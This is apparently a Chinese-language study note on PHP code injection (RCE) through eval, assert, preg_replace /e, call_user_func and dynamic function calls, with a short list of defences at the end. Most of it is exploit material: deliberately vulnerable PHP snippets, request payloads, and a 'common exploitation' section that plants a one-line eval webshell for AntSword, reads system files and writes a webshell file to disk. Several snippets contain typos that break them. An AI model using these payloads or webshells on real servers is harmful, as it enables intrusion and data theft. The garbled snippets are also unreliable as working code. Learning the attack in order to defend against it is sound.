RCE 代码注入
应用程序过滤不严,用户可以通过请求将代码注入到应用中然后由服务器去执行。
与 SQL注入漏洞的区异:
SQL注入:将SQL语句注入到数据库当中去执行
RCE注入:直接将代码注入到应用当中由服务区端运行。
执行条件
1.程序中含有可执行 PHP代码的语言结构
2.执行语句为参数,且在客户端 可控
常用函数
eval() 将字符串当作 php代码 去执行
示例:
<?php
if(isset($_REQUEST['shell'])){
@$str = $REQUEST['shell'];
eval($str);
}
?>
传参方式:
?shell = phpinfo();
?shell = ${phpinfo()}; //只对 phpinfo() 有效
?shell = 1;phpinfo(); //说明 eval()函数能够同时执行多条 php语句
assert() //与 eval() 类似,将字符串当作 php代码 去执行
preg_repalce($pattern,$replacement,$subject)
搜索 $subject 中匹配 $pattern 的部分, 以 $replacement 进行替换
$pattern: 要搜索的模式,可以是字符串或一个字符串数组。
$replacement: 用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组。
返回值:
如果 $subject 是一个数组, preg_replace() 返回一个数组, 其他情况下返回一个字符串
如果匹配被查找到,替换后的 $subject 被返回,其他情况下 返回没有改变的 $subject。如果发生错误,返回 NULL
注意:一般 $pattern 使用的是正则,当其中含有 e 这个修饰符时,$replacement 的值会被当作 PHP代码去执行
示例:
<?php
if(isset($_GET['code'])){
$code = $_GET['code'];
preg_replace("/\[.*\]/e",'\\1',$code);
}
?>
传入参数 ?code=[phpinfo()]
call_user_func($callback,$parameter) 可调用其他函数
第一个参数 是 被调用的回调函数名,其余参数是 回调函数的参数
示例:
<?php
if(isset($_GET['fun'])){
$fun = $_GET['fun'];
$para = $_GET['para'];
call_user_func($fun,$para);
}
?>
传递参数:?fun=assert&¶=phpinfo()
注意:eval 不能作为一个函数名,它只是一个 PHP的语言结构,只能使用 assert 这个函数名
动态函数:$a($b)
$a会被当作一个函数,$b会被当作一个参数
传递参数:?a=assert&b=phpinfo()
常用利用
1.一句话木马获取 shell
?code=<?php @eval($_REQUEST[111]); ?>
然后蚁剑连接
2.获取当前文件的绝对路径:
?code=print(__FIFE__)
3.读取文件:file_get_contents()
前提:已知目标文件路径 并且 拥有读取权限
?code=var_dump(file_get_contents('c:\Windows\system32\drivers\etc\hosts'))
4.写入文件:file_put_contents()
前提:已知 含有可写权限的目录
?code=var_dump(file_put_contents($_post[1],$_post[2]))
通过 hackbar 的post方式提交参数:?1=shell.php&2=<?php @eval($_REQIEST[111]); ?>
防御
1.尽量少使用 eval
2.对能够执行的命令传参进行严格的过滤
3.preg_replace()函数尽量不要使用 /e 修饰符
4.可修改 php.ini 配置文件:disable_functions = ,在后面写入 禁用的函数名